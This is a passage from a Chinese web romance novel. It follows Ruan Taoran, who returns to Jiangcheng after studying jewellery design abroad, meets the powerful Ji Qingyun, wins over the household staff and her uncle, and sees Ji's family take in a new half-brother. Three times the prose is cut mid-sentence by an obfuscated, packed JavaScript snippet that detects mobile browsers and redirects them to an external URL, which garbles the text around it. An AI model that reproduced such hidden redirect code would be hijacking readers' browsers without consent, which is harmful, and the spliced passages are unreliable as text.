《招惹偏执冷薄霸总》 1. 第 1 章 飞机滑行降落的时候,阮陶然就看到了城里的一片粉色花海。 三月是春,江城最浪漫的季节,一片片粉的白的樱花怒放,整个城市都像是浸在花海里。 今天是个晴朗的天气,温度适宜,周围的脚步喧闹,大抵都是来江城赏花的人,说说笑笑下了飞机。 阮陶然下飞机的第一件事是给阮峰报平安。 [叔叔,我已经落地了。] 消息泥牛入海,阮陶然算着,这个时间阮峰大概在开会。 然后下一件事就是去自助贩卖机上买了瓶桃子味道的气泡水。 拧开瓶盖,滋的一声,气泡翻涌着,顺着喉咙落下去,桃子味道蔓延整个口腔。 还是国内的气泡水好喝,在国外中超也有这个牌子的,但实在是太贵,她舍不得买。 然后手机就传来嗡嗡嗡嗡连续不停地震动声。 阮陶然接了电话:“晓晓,我已经到了,一路平安。” “有人来接你吗?”电话那头问道。 “没有吧。”阮陶然环视一圈,语气倒不是很在意。 “真无情,明明就是血亲,不接不送,还要索学费发账单……”林晓晓不满小声嘀咕。 就在阮陶然的背包里,躺着一封几个月之前远渡重洋寄过来的账单。 账单详细记录了她从出国读书至今的每一笔学费开支,落款是阮氏灵南集团,盖了她叔叔阮峰的私章。 林晓晓明显很是不满:“更何况,阮氏本来是你的才对。” 阮氏灵南集团,是阮陶然的爸爸阮钦和妈妈宋灵玉一起创立。 阮陶然五岁那年,一场意外的车祸让阮陶然父母双亡。 从外地赶过来的叔叔阮峰全权处理了后事,接管了灵南集团,也成为了阮陶然名义上的监护人。 “账单应该不是我叔叔发的,他不会这么讨厌我。”阮陶然没有问过,却也猜得出,“大概是阮如月偷了她爸爸的私章,做了账单发给我的。” 阮如月是叔叔阮峰的女儿,比阮陶然大一岁,根据血缘关系来说,是阮陶然的堂姐。 阮陶然至今都记得阮如月来到江城的第一天,她看上了阮陶然精致的公主房,直接占为己有。 阮陶然的漂亮裙子,她要;阮陶然的书包文具,她也要。 阮陶然很快搬进去了客房,却还是不如这个大小姐的意。 后来,阮陶然去S国学习珠宝设计,两个人离远了,阮如月的刁难也少了些。 直到去年,S国举办新锐设计师大赛,阮陶然的稿件拿了金奖,阮如月只拿了银奖。 但阮陶然的金奖被取消了。 她多次询问组委会原因,组委会说她的作品涉及抄袭。 抄袭?怎么可能?阮陶然有完整的创作思路,有完整的创作记录。 她提交了数次申诉,组委会都没有接受。 和阮陶然奖项被取消的通知一起发过来的,就是那件账单。 阮陶然一下子就明白了,是阮如月从中耍了手段。 当真是个蠢货,这是阮陶然收到账单的评价。 她要是阮如月,不会做了坏事还去耀武扬威,更不会留这么多小辫子给人抓。 林晓晓问道:“那你把账单给你叔叔,说清楚,能行吗……” “没用。”阮陶然轻哧了一声,“他会护着他的宝贝女儿,从小到大都是这样。” “我要是把账单拿出去了,阮如月最多只是跟我道个歉,这件事不明不白就翻过去了。” “她抢我别的,我可以不在意,但是她不能毁了Aling的名声。” Aling,S国珠宝设计新星,正是阮陶然。 自从上次新锐设计师大赛之后,Aling这个名字已经和抄袭绑定,声名狼藉。 阮陶然想要的绝不只是阮如月的道歉,她退让了将近二十年,这次她必须要争一争。 除了Aling的名声,阮陶然想要还有Seraphine,这是阮家灵南集团名下的一个珠宝品牌。 这个品牌当年是阮陶然的妈妈亲手创办,作为主理人主持了十余年,当年也引领一时。 但这些年来,阮家并不重视,导致Seraphine一落千丈,再继续下去,这个品牌可能就要被放弃了。 “那你小心,我帮不了你,只能说你们豪门水太深。” “实在不行你就还回S国,我打工兼职养你。”林晓晓最后也只是无力地说了一句。 阮陶然在S国,阮峰只帮忙付学费,生活费全靠自己,林晓晓是她兼职的时候认识的朋友,穷人家的孩子。 阮陶然听到了她话语里的气馁,道:“放心,事在人为,只要用了心,总能找到解决办法的。” 和林晓晓这个悲观主义者不一样,阮陶然乐观积极,兵来将挡水来土掩。 小时候更苦的日子都过了,现在又算什么呢? 林晓晓忍不住轻轻笑了笑,还是她认识的那个阮陶然。 在S国,他们几个穷学生过得苦,只有阮陶然乐乐呵呵的。 没钱旅游,就在河边舒舒服服地吹江风,也过得舒服自在。 在咖啡厅兼职,遇到刁难也不闹,总是三言两语就把客人哄笑了。 而且她还是个卷王,每个课程上交的作业都要做到尽善尽美,每节课都稳稳坐在第一排,笑迎老师上台。 所以,阮陶然的成绩也很好。 林晓晓有时候真觉得,就算是把阮陶然放进垃圾堆里,她也能开出花来,乐观开朗,并且卖力地卷,塑料也开花了。 “阮小姐吗?”忽然有声音从身侧传来。 “抱歉。”阮陶然安抚了林晓晓两句,急匆匆挂了电话。 这人却已经上前接过了阮陶然手里的行李箱,道:“请您跟我来。” 阮家会有人来接她?阮陶然有些不敢相信。 正准备问情况,再一抬眸,看见立在车边的女人。 墨色的休闲西装,浅杏色的衬衫袖口微微翻着起来,露出腕骨和隐隐约约的小臂。 淡琉璃色的眸子望过来,幽冷似冰,若俯瞰众生,锐利之中让人有些不敢对视。 衬上那一副金丝眼镜,透出一股子禁欲矜贵的气度。 阮陶然睫羽顿了一下,看到对面手腕上的白金腕表,还有和白金腕表在一起的一串浅绿色的水晶葡萄石。 水晶葡萄石看上去有些廉价,中间还坠了几个掉色的金属字母——R、T、R。 阮陶然,她的名字。 小时候,爸妈刚过世那一阵,家里换成叔叔婶婶主事。 家里忙得很,阮如月不待见她,家里的厨师和女佣上赶着讨好阮如月,她连一顿热饭都吃不上。 后来她就学会了察言观色。 跟在厨师女佣后面一口一个阿姨叫得甜,在叔叔婶婶面前扮演个乖乖女。 在来往的客人面前,更是礼貌热情,拉着同龄人一起玩,落得个阮家小女乖巧的名头。 如此,才算是在阮家活了下来,也为此不知道招惹了多少人。 她送了好多这种葡萄石手链出去,拉着人家姐姐手说,我最喜欢姐姐了,要和姐姐一辈子在一起。 眼前的姐姐,很明显是旧相识,但到底是哪个旧相识,阮陶然不记得了,因为太多了。 “愣着做什么?”如浮冰碰撞的清浅的声音传过来。 一双淡琉璃色的眸子,掩在金丝眼镜的镜片后面,本就清冷的眸色,显得更加疏冷。 阮陶然看到刚才接她的人把她的行李搬上了车,才确定,这句话是对自己说的。 白金腕表,Queen春夏系列限量版,全球限量十只,七位数的价钱,现在能拿到手的人不过一掌之数。 西装和衬衫没有明显的logo,面料讲究,裁剪得体,衣领上铃兰花的暗纹…… 如果没有看错,是Rain系列的手工定制,意大利小众定制品牌,会员制,只对极少数人开放。 是个有钱有势的旧相识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691412|173368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 阮陶然自然不会傻愣愣问一句,你是谁,没有人喜欢被人遗忘。 她唇角一扬,露出个灿烂阳光的笑,眸子里亮晶晶满都是惊喜:“姐姐,你怎么来接我啦?” 三月春光,和煦的阳光洒下来,仿佛给她的笑镀上了一层暖色。 精致的五官之中,最让人一眼看到是那双小鹿眼,无辜轻巧灵动,脸颊红红的,像是三月的春桃花。 那明晃晃的笑意一下子撞入纪青云的眼睛,灼得纪青云眸间一顿。 画面仿佛在面前融合,那个时候,她偶然在社交场合里遇见阮陶然。 一双湿漉漉的小鹿眼,拽着她的衣角不放:“姐姐,我们一起玩好不好?然然最喜欢姐姐了。” 她想不明白,那个时候她只是纪家的私生女,往来的侍从都不把她放在眼里,怎么这小姑娘就黏着她不放。 她和阮陶然见面的次数不多,但次次她都笑得开心,眸子若一汪池水,只装着她一个人。 “阮家人没来,跟我走吗?”清冷如浮冰碰撞的声音,一只白皙修长的手放在了阮陶然的面前。 说的是问句,但几乎没有给阮陶然选择的机会,那只手已经覆在了阮陶然的手背上, 阮陶然的指尖下意识微微一顿,纪青云手心的温度有些冰,恰如她周身冷冽的气度。 一层层的阳光落下来,搭在纪青云的侧颜上,笼罩住她的眉眼,一双浅琉璃色的眸子,像琥珀。 阮陶然闻到一股冷冷的草木香,如同一张网,倏忽把她整个人笼罩其中。 “不想?”清冷的声音打断了阮陶然的思绪,“不想跟我走?不喜欢我是吗?” 一句话还没说完,忽然止住,柔软的触觉撞入她的怀里,她被阮陶然钻到了她怀里,紧紧抱住了她。 “姐姐,这些年,你过得还好吗?” 她抬起头来看纪青云,笑意盈盈,眸中却有泪水闪烁,似乎是万般深情。 下一瞬间,软香入怀,阮陶然已经钻入了纪青云的怀里,虚虚拦住纪青云的腰身。 纪青云没想到她会有如此动作,下意识地,轻轻蹙了蹙眉。 阮陶然并没有抱实,很有分寸地虚虚抱了一下,就松开了手。 “你好像消瘦了一些,衣服也穿得薄。”阮陶然的声音轻轻的,手指拢住纪青云的指节,“手好凉。” 触手冰冷,但她却似乎一点都不觉得,只是用自己手心的温度慢慢暖着。 她手心里是暖的。 小姑娘见了她这么开心,开心之余就是关心她穿得薄…… “只有姐姐来接我,我最喜欢姐姐了。”阮陶然的语气里面满都是依赖。 “你喜欢我?”纪青云声音微沉,“阮陶然,你确定?” 阮陶然望见那双浅琉璃色的眸子,一如荒凉枯槁的荒原,冷得她心里一颤。 她总觉得自己似乎被一只冷血的豺盯上。 指尖是冷的,眸子也是冷的。 但她毫不犹豫,搂住了纪青云的手臂,垂眸轻声道:“喜欢。” 就算是只豺,她也会紧紧抓住,这种讨好人心的事情,她从小就会做。 只是多说一句话,说一句喜欢又不会掉块肉。 “记得你这句话……”纪青云的声音淡淡的,睫羽垂下,金丝眼镜之后的眉眼之中似乎有暗色一涌而过。 阮陶然的心里猛地轻颤了一下,再看向那双眸子,却觉得那暗色是自己的错觉。 阮陶然面上却没有显露出来分毫,而是自然地眨了眨眼睛,一双眸子若清泉波动,无辜单纯。 “我当然记得,我一辈子都记得,永永远远,都最喜欢姐姐了。” 纪青云的指尖擦过阮陶然的脸颊,那双眸子里的依赖明晃晃地撞进来,她的指尖顿了顿,缓缓收了回来。 阮陶然脸上的的笑,像是春风撞碎了满树的桃花,栀子花香混着桃子的甜味,是桃子气泡水的味道。 阮陶然还是像小时候一样,爱惨了她。 2. 第 2 章 黑色的迈巴赫平稳行驶,三月阳光和煦,金色的光透过半开的车窗洒进来。 风吹起黑色的长发,露出白皙矜冷的一截下颌线,金丝眼镜之后,淡琉璃色的眸子若深海沉沉。 修长白皙的手随意落在真皮座椅上,剪裁合体的墨色西装衣袖之下,露出一只镶钻的白金腕表。 阮陶然余光看了看,又看了看,在脑子里翻了七八百遍,也实在想不起来这人是谁。 阮陶然说地址,但是车准确地行驶到了阮家所在的别墅区——隆华天域。 别墅区的大门紧闭着,高档小区的防卫都很严密。 阮陶然还没来得及落下车窗,大门自动就开了。 车牌录入了,是住在一个小区的邻居? 可是这个范围也很大,隆华天域一共有二十八栋,住户不少。 车在离阮家还有三五十米的地方停下来。 司机问了一句:“纪总,要送到门口吗?” “不用,这里就好。”纪青云语气淡淡。 纪氏集团新建的大型商场星悦城正在入驻签约,阮家的Serphine提交了入驻材料。 但星悦城只面向于高奢品牌,Seraphine这两年在珠宝界已经几乎要查无此牌了,明显不符合要求。 若是到了纪家,多半要提起来这件事,纪青云暂时不想和纪家人有交集。 纪总,纪……阮陶然眸子一顿。 江城哪儿有第二个纪? 纪氏集团,江城数一数二的庞大悠久的资本集团,能与之并肩的只有陆氏陆迪集团。 陆迪主要做高奢和实业,纪氏则专注于地产和投资,在江城不相上下。 前些年,陆迪集团换了个小陆总,陆迪浮浮沉沉,一路有盖过纪氏的势头,但最后也没能完全盖过去。 因为纪氏也换了一个掌权人——纪青云,有手腕,有决心,迅速稳住了态势。 纪青云此人没什么绯闻,最为人津津乐道的是她的逆袭翻身史。 纪氏庞大,尤其是上一任总裁风流不羁,公开的夫人就有四位,孩子有十几个,更不用说私生子私生女。 纪青云就是若干私生女的一个,母亲早亡,被带回纪氏的时候完全是个小透明,没人把她看在眼里。 但她硬生生成为了纪氏所有孩子里面最优秀的那一个。 从小到大各种竞赛获奖不断,15岁提前进入藤校商学院,回国后把交给她的不起眼的项目做得风生水起。 她爸爸去世之后,靠着自己的能力还有纪氏老爷子的喜爱,她手段狠辣整理了纪氏的乱局,成为了掌权人。 纪氏和阮家少有商业往来,要不是司机这一句纪总,阮陶然猜到明年去,都想不出来纪青云这三个字。 阮陶然忍不住打量了纪青云一番,小时候的纪青云,她大概有点印象。 瘦瘦小小的一个,在角落里也不说话,很不起眼,和现在一点都不像。 现在的纪青云站在人群之中,一眼望过去就是她,一身的矜贵气度,比女明星还要惹眼。 “不想走吗?”纪青云转眸看过来。 阮陶然不想自己打量的目光和她撞上,吓得慌忙挪了眸子:“不是,没有……马上……” 纪青云似乎是轻轻笑了笑,但阮陶然再抬头的时候并没有看到她的笑脸。 “我还没有……你的联系方式。”阮陶然试探地说了一句。 纪青云没说话,把自己的手机拿出来,熟稔地输入一串号码,然后阮陶然的手机响了起来。 司机已经把阮陶然的行李箱提了下去,阮陶然连忙叫了一声等等,然后把行李箱打开翻找起来。 箱子里东西不多,几件衣服,几本书,衣服都洗得半旧了。 纪青云的目光落在阮陶然的衣服上,白色的休闲套装,很干净,但能看出来袖口有磨损了。 阮家,这两年应该还没有破产吧? 阮陶然已经把东西找出来了,是一个红丝绒的首饰盒子。 她塞到了纪青云的手里:“姐姐,这个是……给你的。” “我?”纪青云今天接人并没有提前说,收到礼物有些意外。 也就是说,阮陶然一直惦记着她,无论她今天来不来,都有她的一份礼物? 阮陶然点了点头,笑意灿烂:“给姐姐的,姐姐今天来接我,我可开心了。” 她笑容阳光明媚,大胆地表达自己的欣喜和高兴,整个人看上去都开心洋溢的。 一点儿小事,都让她这么开心。 纪青云接过了首饰盒:“知道了,先回家吧。” 有了联系方式,送了礼物,差不多心意到了,再纠缠下去就有些过分黏人了。 阮陶然说了拜拜,然后拉着行李箱一步三回头地走了。 走到了看不到迈巴赫的地方,阮陶然忍不住捏了捏脖子,脖子都扭酸了。 车门关上,纪青云打开了首饰盒,映入眼帘的是一枚小小的胸针。 胸针以碎钻镶嵌,整体是祥云的图案,光彩灼灼照人,显得精致小巧。 首饰盒的衬布上有设计师的签名——Aling。 这个胸针,应该是她那个行李箱里最昂贵的东西了。 刚才一路上,阮陶然都在偷瞄她,还以为她没有发现,连喜欢都藏不住的小姑娘。 阮陶然站在门口,按了门铃等人的间隙,把纪青云的电话号存了起来。 唇角忍不住微微上扬,她春夏设计系列里就做出了这一件成品,祥云……青云…… 有些事情不用多说,她相信纪青云会自己脑补。 阮家偌大的宅子,一个路过的人都没有,甚至门铃都没人管,这明显不正常。 阮陶然却也不着急,只是慢慢等着,差不多等到了日光开始西斜的时候。 终于有个身着西装,看上去四五十岁左右的管家走过来:“您好,请问您有预约吗?” “没有。”阮陶然扬起唇角笑了笑,“管家伯伯好,我是阮陶然,我回家。” 管家忍不住愣了一下,等了三个小时,怎么还是这样生机勃勃,热情洋溢的样子。 “原来是二小姐。”管家像是恍然大悟的样子,连忙开了门,“二小姐,请进。” 一回来就是下马威,阮陶然也不对管家发火,他只是个打工人,很明显背后另有他人授意。 进了客厅,就听到清婉的妇人声:“是然然回来了啊,怎么不早和家里打电话去接?” “婶婶好,机场也不远,叔叔和婶婶都忙,就不麻烦你们了。” 事实是,她早就给阮峰和饶曼发了消息,但这两个人都没安排。 阮峰工作忙,这些小事大概不会放在心上,饶曼是……故意忘了吧。 作为晚辈,阮陶然也不能在这样的事上计较,只能含糊过去了。 饶曼穿了身杏白色的家居服,似乎是刚刚午睡醒,拥着一条羊绒披肩,眉宇之间都是养出来的雍容气度。 饶曼自顾自坐到沙发上,语气随意:“周管家,让二小姐等了这么久,下个月的绩效奖金扣掉,反思一下。” “不怪管家伯伯……”阮陶然道。 谁知道,还没有开口就被饶曼打断:“然然,家里有家里的规矩,错了就是错了。” “是。”阮陶然颔首,只是眸子之中光彩晦暗不明。 饶曼还是和她小时候一样,会做面子,也会做坑让她跳。 她已经惩罚了管家,这件事就算是翻过去了。 阮峰回来,阮陶然也不能再告状,否则就是得寸进尺。 而且,这样一来,阮陶然一回来就得罪了家里的管家,以后的日子就别想好过了。 阮陶然跟着周管家到了二楼,推开门,是给她准备的房间。 是个套房,房间面积不小。 房间里只有一张床,一张桌子,别的什么都没有。 不过却能看出来打扫的痕迹,没有尘埃,床和桌子也都是崭新的,只是没有人味。 周管家放下了行李,道:“二小姐,你可以先休息一下,晚上先生会回来吃饭。” “管家伯伯是这两年来的吗?我之前在家的时候没见过您呢。”阮陶然语气自然,像是拉家常一样。 周管家却不亲厚,只站在门口,保持着距离:“是,我来了才五年,二小姐没回过家,我们没见过。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691413|173368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 阮陶然眸子微微顿了顿,也不知道饶曼在外面是怎么说的,说她五年不回家,养大了个白眼狼? 事实是,每年过年她都发消息说要回国,饶曼总说他们要出去旅游,家里没人,就不用回来了。 “这个给伯伯。”阮陶然说着,从包里拿出来一个牛皮纸的信封。 很明显是现金,而且厚度不薄,有大几万块的样子。 牛皮纸信封送到了周管家面前,周管家却不伸手:“二小姐,您这就见外了。” 他今天的确被扣了工资,也知道阮陶然是补偿的意思,但这个钱……烫手。 “这不叫见外,这叫把伯伯当家人。”阮陶然说着,往前递了递,“这是五年的过年红包。” “以前爸爸妈妈都会给家里的管家伯伯包红包,说这是把伯伯当做一家人。” “所以这不是见外,我是把伯伯当做家人。” 周管家愣了一下,似乎是没想到阮陶然这么说。 但最后还是坚决表示:“二小姐,心意到了就好,红包就算了,你还是刚毕业的小孩子呢。” 阮陶然环视了一圈:“我这屋里连个花瓶都没有,伯伯,你拿这个钱帮我买个花瓶吧。” 周管家继续推辞:“不用了,二小姐,仓库里还有花瓶,我帮您找两个送过来就行了。” 饶曼虽然看不惯阮陶然,但到底是阮家的孩子,要点东西都不给,传出去就成了苛待了。 最后,周管家还是没有收阮陶然的钱。 在阮陶然的预料之中,饶曼的人,第一天就收了她的钱,是绝不可能的事情。 周管家很快就找了花瓶回来,普通的玻璃花瓶,凑了一对。 饶曼出门了,阮陶然收拾了自己的东西,就找了把小剪刀去花园里采花。 花园里的瓜叶菊和山茶花都开得好看,再剪几根绿枝条,在花瓶里插起来,错落有致,很是风雅。 周管家再来给阮陶然送洗漱用品的时候,就看到了桌子上多的两个花瓶。 阮陶然还自己去仓库里找了桌布和绒毛地毯。 本来整个屋子空荡荡的,像雪洞一样,桌子上铺了新的桌布,加了花花草草,地上多了绒毛地毯…… 整个屋子看起来温馨别致,床头还挂了两个带着香味的香囊,屋子都香香的。 阮陶然把多余的枝条编了个花环,笑着递给周管家:“伯伯,这个拿给你女儿玩儿吧。” 她手巧,又是学设计的,审美没得说,几朵小花几根绿叶,在她手里变了样子。 周管家今天本来做好了准备,不收阮陶然任何东西。 可看到这花环,就猜到自己家小女儿肯定喜欢,犹豫了一下,想着不过是个花环,还是收了。 “二小姐怎么知道我有个女儿?” 阮陶然道:“花匠伯伯告诉我的啊,他说你女儿每次来花园里玩都喜欢花,但你每次都不让她摘。” “小孩子家胡闹,见了什么都喜欢,惹人笑话了。”周管家左右看了看花环,还是爱不释手。 花园里的花是主人家的资产,当然不能摘,但这是阮陶然送的,谁也找不出错处来。 管家左右看了看,说道:“库房里还有一个小花架,我看摆在那窗户下面好看,二小姐要看看吗?” “行,多谢管家伯伯。”阮陶然露出个灿烂的笑,亮晶晶的小鹿眼里生机勃勃。 “好,您跟我来看看。”管家说着,率先往前带路走了。 二小姐好似不是夫人说的那样,养大了之后就不认亲人的白眼狼。 她有情致,有生活热情,整个人都生机勃勃的,被人刁难也不在意,自己把屋子布置得欣欣向荣。 管家忍不住想起来一句话——人家朝她扔泥巴,她用泥巴种荷花。 阮陶然就是要把自己的屋子布置得舒舒服服的,漂漂亮亮的。 收拾完了,阮陶然奖励了自己一杯桃子味道的气泡水,看着屋子,满意地伸了个懒腰。 先不说自己住着舒服,就是旁人看了,也对屋子的主人有好感啊。 人都喜欢热情积极向上的勃勃生机,她要是整日唉声叹气的,可没有人喜欢她。 3. 第 3 章 阮家大部分佣人都在过去的五年里换了一遍。 阮陶然回来之后,又是库房找东西,又是花园摘花,又是重新布置打扫屋子,倒是把这些人脸认识了一大半。 有人热热切切地上来帮忙,也有人噤若寒蝉,离得远远的,阮陶然都不在意,都是笑得灿烂的样子。 晚上阮峰回来的时候,就见到阮陶然支了画架,坐在大门口画画。 风吹起她浅棕色的发丝,发上的珍珠发饰小巧可爱,亮亮的眸子盯着画,满脸都写着认真。 卷王的每一次出场都经过精心设计,永远以最让人舒服的姿态出现。 似乎是听到车驶来的声音,她转过头来,眸子里像是落进来了万千星子,开开心心地站了起来。 她脸上写着笑,眸子里盛着笑,一双纤细的柳叶黛眉,生机勃勃的样子。 阮峰似乎从那张脸里,看到一张熟悉的脸。 他第一次见到宋灵玉的时候,她就是穿了件素白色的长裙,头发散下来,这么灿烂地笑着,像是阳光。 宋灵玉是阮陶然的母亲,阮峰第一次见到她的时候,她就已经是他的嫂子了。 “然然回来了。”阮峰眸底忍不住化了些暖色,招手和阮陶然打招呼。 “叔叔,你肯定惦记着然然,给然然准备了礼物吧。”阮陶然笑吟吟地把手伸过去。 “这……”阮峰面色凝了一下,他完全没有准备,完全没想到这个。 “我准备了。”阮陶然说着,把背到身后的另一只手拿出来,摊在了阮峰面前。 在她的手心里,躺着一对蓝宝石西装袖扣,不算是上等的蓝宝石,但小巧精致。 “你啊……”阮峰脸上浮现出来柔和的笑。 没人不喜欢这样被惦记的感觉,阮陶然笑着:“您要是喜欢,晚上我就帮您换到您的西装上。” 空气里都弥漫着亲情浓浓的味道,却在此时传来声音:“回来了,别在门口站着,准备准备吃饭吧。” 饶曼走过来,看了眼阮陶然的画纸,蹙了蹙眉毛,然后拉着阮峰就往里面走。 阮峰不忘回头叮嘱了一声:“然然也赶紧收了,回来吃饭吧。” “就你话多。”饶曼不满地拽了一下阮峰的袖子。 玄关,饶曼帮着阮峰脱掉外套,松了脖子上的领带,低声道:“那丫头你准备怎么办?” “什么怎么办?”阮峰似是没听懂饶曼的话。 “她毕业回来了,你要让她进公司吗?”饶曼语气沉沉。 她看了看,阮陶然还在收画架,没跟过来,压低了声音说道:“你可别掉以轻心,到时候让她夺了权。” “前两年公司里没人说话,这两年可不一样了。” “阮家的股份大部分都还在她名下,你只是签了个代理合同。” “有些董事念着你那个死了的大哥,盼着这丫头回去。” “等她回去了,哪有你说话的份,哪有我们一家人的份?” “我们才过了多少年的好日子,总不能她一回来,就把一切都拱手相让。” 阮峰听得脑袋一阵一阵嗡嗡的:“我说夫人啊,你别想这么多,然然她未必这么想……” 他一见到阮陶然,那丫头就甜甜地冲着她笑,还给他精心准备了礼物。 一见到饶曼,她就念念念个不停,不是今天一天了,自从知道阮陶然要回来,她就开始念了。 饶曼帮他解领口的扣子,听到这里,手一顿,狠拽了一把他的领子。 “阮峰,你别以为我不知道你心里想什么,你是念着你大哥,还是念着你死去的大嫂?” “放着你亲生姑娘亲生儿子的未来不打算,你给外人打算?” 瞧着阮陶然走过来了,阮峰也不想听了,连忙应付了两句:“行行行,我心里有数。” 阮陶然洗了手,就帮厨房里的女佣往外面摆饭。 女佣连忙道:“二小姐画画辛苦了,坐着吧,我们来就行。” 阮陶然笑着:“没画了几笔,不辛苦,我坐着也是坐着。” 她是真的没有画几笔,算准了阮峰下班的时间,搬着画架子在门口摆了会儿姿势。 日落余晖落在人身上,她安安静静地坐在那儿画画,想想就知道这画面温馨好看。 显得她恬静自然,不爱惹事,就爱些风花雪月的画画艺术。 就是日落的时候起了风,怪冷的,吹得她透心凉。 不过她忍住了,这点儿苦还是能吃的。 她目的也达到了,很明显,阮峰顾念着她的好,她以后在阮家总不至于过不下去。 阮陶然倒也没有亲自动手,只是指挥着女佣。 “这个菜往叔叔那边放,他喜欢吃鲈鱼,把那道糖醋排骨换过来,他不喜欢吃甜口的。” 阮峰走过来的时候,恰就听到这一句,眉眼里的不耐忍不住松了松。 “你也赶紧坐下来吃饭吧,国际航班飞回来也辛苦了。”阮峰坐下,也招呼阮陶然坐下。 饶曼轻哼一声,在桌子底下踹了一脚阮峰。 阮峰没出声,不动声色把脚收了收,然后接过来阮陶然递过来的汤。 阮陶然先是给阮峰盛了汤,又给饶曼盛了一碗,这才在自己的位置坐下来。 阮陶然一句都没提工作的事,只是和阮峰说说笑笑,讲自己在国外读书的趣事。 阮峰也笑得一脸灿烂,气得饶曼在桌子底下又踹了几脚阮峰。 饶曼踹得阮峰心里心烦,他不想提工作的事。 阮陶然话里话外都是对他的关心,说话也让人心里舒服。 饶曼满脑子都是股票公司那些事,甚至都没有问一句他今天工作辛不辛苦。 阮峰稍稍挪了挪凳子,微不可察地离饶曼远了些。 吃完了饭,阮陶然一句都没提工作,问管家要了小镊子,把蓝宝石袖扣换上了。 阮峰穿着西装在镜子前面转了两圈,又把手抬起来看了好几遍,气得饶曼又翻了几个白眼。 纪青云也在吃饭,但这顿饭吃得没什么胃口。 傍晚爷爷打电话过来,让她回家吃饭,她抽空赶回来,就看到大餐桌坐齐了,一桌子的人。 爷爷纪明,她正宫的妈,还有她爹那三个小老婆,加上一堆孩子,全都在。 纪明老爷子这些年来不管事,但在纪氏还是最有话语权的。 他坐在最上首,一边的位置空着,是留给纪青云的,另一边坐着个年轻男人。 男人穿了身浅棕色的西装,领结和口袋巾一个不少,整整齐齐的像是要参加顶级晚宴似的。 纪青云处理公司的事情,回来已经开饭了,那年轻男人正在给鱼肉挑鱼刺。 老爷子见了纪青云,招呼她过来:“青云,大家都认识了,只差你了,快来见见你大哥。” “大哥?”纪青云睫羽抬了抬,淡琉璃色的眸子没有波动,“大哥不是去波兰学油画了吗?” 纪青云的大哥是个奇人,或者说是个不想参与到豪门争斗里面的聪明人。 他有正房长子的身份,却老早就表明自己志不在此,从小到大都闹着要学艺术,几乎要把他妈气死了。 后来纪青云上位,他麻溜儿就把手里的股份全都给了纪青云,屁股一抬就跑去波兰了。 他妈不甘心,几次三番催他回来,他不肯,后来更是信息都不回,过年也不回家,在波兰成家了。 他这样知进退,纪青云也没有为难他的意思,该给的分红一点不少,隔三差五投资他的画展。 老爷子冷哼一声:“别说那个不肖子。” 他看向身边的年轻男人:“我说的是小川。” 那年轻男人把剔了刺的鱼肉放进老爷子碗里,然后连忙擦了擦手,站起身来。 “小川,这就是刚才大家说的,你妹妹纪青云。青云,这是你大哥纪育川。” “以后别提波兰那个不肖子,他也不是你大哥,以后排行老二了。” “你好,青云。”那年轻男人笑着朝纪青云伸手。 纪青云冷着一张脸,简单和他握了一下,算是礼貌:“你好……大哥……” 这句大哥,叫得别扭。 远在波兰的大哥,恐怕还不知道自己莫名其妙变二哥了。 纪青云余光看了一眼她正宫的妈的脸色,脸皮都垮下来,黑着一张脸,难看得很,像是有人欠了一个亿。 她要是笑出来就奇怪了。 纪青云的爸,人死了,干出来那些事居然还没有完全解决清楚。 活着的时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691414|173368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候搞了四个老婆,一群私生子私生女。 死了还有私生子私生女找上门来。 前两年找回来两个,都是七八岁的小孩子。 今年倒好,一下子就回来个三十岁的,在年龄排序上居然是大哥,一下子把纪家的排名洗了一遍。 这私生子年纪这么大,摆明了他妈老早就和纪青云的爸搞到一起了,甚至比大太太还早。 老爷子喜欢家里人多,只要是纪家的骨肉都认回来。 纪青云也不说话,这事儿也轮不到她说话,只是坐下来就吃自己的饭。 纪青云不说话,那边正宫大太太梁霜坐不住了:“爸,阿岩都过世五年了,连DNA鉴定都没法做,怎么就确定是纪家的人了?” 另外三个小老婆也吃饭,不说话,多一个儿子,少一个儿子对他们来说都一样。 但对于梁霜来说不一样,老爷子传统,他儿子本来占着长子的身份,以后要是学好了,回来说不准还能掌权。 但莫名其妙多了个大哥,长子身份就没了,她当然着急。 老爷子道:“我和小川做了DNA鉴定的,我们是有亲缘关系啊。” “那也不能证明,他就是阿岩的孩子啊。”梁霜这顿饭一口都没能吃下去。 纪岩死了五年,早就烧了埋了,没法取材做DNA。 老爷子和纪育川做DNA只能证明,他们有亲缘关系,鉴定是没办法确定祖孙的。 “我们纪家五代单传,我就阿岩这一个儿子,不是阿岩的,难道还是我的?”老爷子发了话。 “梁姨,是这样的,当年我妈和我爸十八就在一起了,家里不同意分了手,我妈走了之后发现有了我。” 